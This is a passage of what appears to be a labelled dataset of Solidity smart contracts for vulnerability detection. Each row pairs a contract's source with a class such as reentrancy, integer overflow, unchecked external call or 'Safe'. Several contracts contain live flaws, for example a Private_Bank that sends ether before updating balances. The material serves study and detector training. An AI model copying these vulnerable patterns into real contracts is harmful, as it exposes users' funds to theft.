tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",Safe,8,8 1579.sol,"/** * The Arezzo Gold Coin contract bases on the ERC20 standard token contracts * Author : Gordon T. Asiranawin * Arezzo Gold Coin */ pragma solidity ^0.4.24; /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Standard ERC20 token * * @dev Implemantation of the basic standart token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint value); event MintFinished(); bool public mintingFinished = false; uint public totalSupply = 0; modifier canMint() { if(mintingFinished) throw; _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { if (paused) throw; _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { if (!paused) throw; _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } /** * Pausable token * * Simple ERC20 Token example, with pausable token creation **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint _value) whenNotPaused { super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) whenNotPaused { super.transferFrom(_from, _to, _value); } } /** * @title TokenTimelock * @dev TokenTimelock is a token holder contract that will allow a * beneficiary to extract the tokens after a time has passed */ contract TokenTimelock { // ERC20 basic token contract being held ERC20Basic token; // beneficiary of tokens after they are released address beneficiary; // timestamp where token release is enabled uint releaseTime; function TokenTimelock(ERC20Basic _token, address _beneficiary, uint _releaseTime) { require(_releaseTime > now); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } /** * @dev beneficiary claims tokens held by time lock */ function claim() { require(msg.sender == beneficiary); require(now >= releaseTime); uint amount = token.balanceOf(this); require(amount > 0); token.transfer(beneficiary, amount); } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). * Based on code by OpenZeppelin: https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/BurnableToken.sol */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title ArezzoGoldCoin * @dev ArezzoGoldCoin contract */ contract ArezzoGoldCoin is PausableToken, MintableToken, BurnableToken { using SafeMath for uint256; string public name = ""Arezzo Gold Coin""; string public symbol = ""AGC""; uint public decimals = 18; /// Maximum tokens to be allocated. uint256 public constant HARD_CAP = 1000000000* 10**uint256(decimals); /* Initial supply is 1,000,000,000 AGC */ /** * @dev mint timelocked tokens */ function mintTimelocked(address _to, uint256 _amount, uint256 _releaseTime) onlyOwner canMint returns (TokenTimelock) { TokenTimelock timelock = new TokenTimelock(this, _to, _releaseTime); mint(timelock, _amount); return timelock; } }",./Dataset/ether strict equality (SE),3,3 40739.sol,"pragma solidity ^0.4.19; contract Private_Bank { mapping (address => uint) public balances; uint public MinDeposit = 1 ether; Log TransferLog; function Private_Bank(address _log) { TransferLog = Log(_log); } function Deposit() public payable { if(msg.value >= MinDeposit) { balances[msg.sender]+=msg.value; TransferLog.AddMessage(msg.sender,msg.value,""Deposit""); } } function CashOut(uint _am) { if(_am<=balances[msg.sender]) { if(msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(msg.sender,_am,""CashOut""); } } } function() public payable{} } contract Log { struct Message { address Sender; string Data; uint Val; uint Time; } Message[] public History; Message LastMsg; function AddMessage(address _adr,uint _val,string _data) public { LastMsg.Sender = _adr; LastMsg.Time = now; LastMsg.Val = _val; LastMsg.Data = _data; History.push(LastMsg); } } ",./Dataset/reentrancy (RE)/,5,5 1775.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract TEST008 is Ownable{ using SafeMath for uint256; string public constant name = ""TEST008""; string public constant symbol = ""²âÊÔ°Ë""; uint32 public constant decimals = 18; uint256 public totalSupply = 999999 ether; uint256 public currentTotalSupply = 0; uint256 startBalance = 999 ether; mapping(address => bool) touched; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); if( !touched[msg.sender] && currentTotalSupply < totalSupply ){ balances[msg.sender] = balances[msg.sender].add( startBalance ); touched[msg.sender] = true; currentTotalSupply = currentTotalSupply.add( startBalance ); } require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= allowed[_from][msg.sender]); if( !touched[_from] && currentTotalSupply < totalSupply ){ touched[_from] = true; balances[_from] = balances[_from].add( startBalance ); currentTotalSupply = currentTotalSupply.add( startBalance ); } require(_value <= balances[_from]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function getBalance(address _a) internal constant returns(uint256) { if( currentTotalSupply < totalSupply ){ if( touched[_a] ) return balances[_a]; else return balances[_a].add( startBalance ); } else { return balances[_a]; } } function balanceOf(address _owner) public view returns (uint256 balance) { return getBalance( _owner ); } }",./Dataset/integer overflow (OF)/,4,4 32622.sol,"pragma solidity ^0.4.18; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract YAYTOKEN is StandardToken { function () { //if ether is sent to this address, send it back. throw; } string public name; uint8 public decimals; string public symbol; string public version = '1.0'; function YAYTOKEN( ) { balances[msg.sender] = 10000000000; totalSupply = 10000000000; name = ""YAY TOKEN""; decimals = 2; symbol = ""YAY""; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 38638.sol,"pragma solidity ^0.4.11; /* Copyright 2017, Stefan George (Consensys) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed _sender, uint indexed _transactionId); event Revocation(address indexed _sender, uint indexed _transactionId); event Submission(uint indexed _transactionId); event Execution(uint indexed _transactionId); event ExecutionFailure(uint indexed _transactionId); event Deposit(address indexed _sender, uint _value); event OwnerAddition(address indexed _owner); event OwnerRemoval(address indexed _owner); event RequirementChange(uint _required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract Nameless is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function Nameless( ) { balances[msg.sender] = 99983740000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 107975610000000000000000000; // Update total supply (100000 for example) name = ""Nameless""; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = ""NXN""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 6578.sol,"pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract CryptualProjectToken is StandardToken, Ownable { using SafeMath for uint256; string public constant name = ""Cryptual Project Token""; string public constant symbol = ""CPT""; uint8 public constant decimals = 0; uint256 public constant INITIAL_SUPPLY = 283000000; address public wallet; uint256 public constant PRESALE_OPENING_TIME = 1531998000; uint256 public constant PRESALE_CLOSING_TIME = 1532563200; uint256 public constant PRESALE_RATE = 150000; uint256 public constant PRESALE_WEI_CAP = 500 ether; uint256 public constant PRESALE_WEI_GOAL = 50 ether; uint256 public constant CROWDSALE_OPENING_TIME = 1532602800; uint256 public constant CROWDSALE_CLOSING_TIME = 1535328000; uint256 public constant CROWDSALE_WEI_CAP = 5000 ether; uint256 public constant COMBINED_WEI_GOAL = 750 ether; uint256[] public crowdsaleWeiAvailableLevels = [1000 ether, 1500 ether, 2000 ether]; uint256[] public crowdsaleRates = [135000, 120000, 100000]; uint256[] public crowdsaleMinElapsedTimeLevels = [0, 12 * 3600, 18 * 3600, 21 * 3600, 22 * 3600]; uint256[] public crowdsaleUserCaps = [1 ether, 2 ether, 4 ether, 8 ether, CROWDSALE_WEI_CAP]; mapping(address => uint256) public crowdsaleContributions; uint256 public presaleWeiRaised; uint256 public crowdsaleWeiRaised; constructor( address _wallet ) public { require(_wallet != address(0)); wallet = _wallet; totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; require(_beneficiary != address(0)); require(weiAmount != 0); bool isPresale = block.timestamp >= PRESALE_OPENING_TIME && block.timestamp <= PRESALE_CLOSING_TIME; bool isCrowdsale = block.timestamp >= CROWDSALE_OPENING_TIME && block.timestamp <= CROWDSALE_CLOSING_TIME; require(isPresale || isCrowdsale); uint256 tokens; if (isCrowdsale) { require(crowdsaleWeiRaised.add(weiAmount) <= CROWDSALE_WEI_CAP); require(crowdsaleContributions[_beneficiary].add(weiAmount) <= getCrowdsaleUserCap()); tokens = _getCrowdsaleTokenAmount(weiAmount); require(tokens != 0); crowdsaleWeiRaised = crowdsaleWeiRaised.add(weiAmount); } else if (isPresale) { require(presaleWeiRaised.add(weiAmount) <= PRESALE_WEI_CAP); require(whitelist[_beneficiary]); tokens = weiAmount.mul(PRESALE_RATE).div(1 ether); require(tokens != 0); presaleWeiRaised = presaleWeiRaised.add(weiAmount); } _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); if (isCrowdsale) crowdsaleContributions[_beneficiary] = crowdsaleContributions[_beneficiary].add(weiAmount); deposited[_beneficiary] = deposited[_beneficiary].add(msg.value); } function getCrowdsaleUserCap() public view returns (uint256) { require(block.timestamp >= CROWDSALE_OPENING_TIME && block.timestamp <= CROWDSALE_CLOSING_TIME); uint256 elapsedTime = block.timestamp.sub(CROWDSALE_OPENING_TIME); uint256 currentMinElapsedTime = 0; uint256 currentCap = 0; for (uint i = 0; i < crowdsaleUserCaps.length; i++) { if (elapsedTime < crowdsaleMinElapsedTimeLevels[i]) continue; if (crowdsaleMinElapsedTimeLevels[i] < currentMinElapsedTime) continue; currentCap = crowdsaleUserCaps[i]; } return currentCap; } function _getCrowdsaleTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint256 uncountedWeiRaised = crowdsaleWeiRaised; uint256 uncountedWeiAmount = _weiAmount; uint256 tokenAmount = 0; for (uint i = 0; i < crowdsaleWeiAvailableLevels.length; i++) { uint256 weiAvailable = crowdsaleWeiAvailableLevels[i]; uint256 rate = crowdsaleRates[i]; if (uncountedWeiRaised < weiAvailable) { if (uncountedWeiRaised > 0) { weiAvailable = weiAvailable.sub(uncountedWeiRaised); uncountedWeiRaised = 0; } if (uncountedWeiAmount <= weiAvailable) { tokenAmount = tokenAmount.add(uncountedWeiAmount.mul(rate)); break; } else { uncountedWeiAmount = uncountedWeiAmount.sub(weiAvailable); tokenAmount = tokenAmount.add(weiAvailable.mul(rate)); } } else { uncountedWeiRaised = uncountedWeiRaised.sub(weiAvailable); } } return tokenAmount.div(1 ether); } function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { totalSupply_ = totalSupply_.add(_tokenAmount); balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount); emit Transfer(0x0, _beneficiary, _tokenAmount); } mapping(address => bool) public whitelist; function addToPresaleWhitelist(address _beneficiary) external onlyOwner { whitelist[_beneficiary] = true; } function addManyToPresaleWhitelist(address[] _beneficiaries) external onlyOwner { for (uint256 i = 0; i < _beneficiaries.length; i++) { whitelist[_beneficiaries[i]] = true; } } function removeFromPresaleWhitelist(address _beneficiary) external onlyOwner { whitelist[_beneficiary] = false; } bool public isCrowdsaleFinalized = false; mapping (address => uint256) public deposited; event CrowdsaleFinalized(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); function finalizeCrowdsale() external { require(!isCrowdsaleFinalized); require(block.timestamp > CROWDSALE_CLOSING_TIME || (block.timestamp > PRESALE_CLOSING_TIME && presaleWeiRaised < PRESALE_WEI_GOAL)); if (combinedGoalReached()) { wallet.transfer(address(this).balance); } else { emit RefundsEnabled(); } emit CrowdsaleFinalized(); isCrowdsaleFinalized = true; } function claimRefund() external { require(isCrowdsaleFinalized); require(!combinedGoalReached()); require(deposited[msg.sender] > 0); uint256 depositedValue = deposited[msg.sender]; deposited[msg.sender] = 0; msg.sender.transfer(depositedValue); emit Refunded(msg.sender, 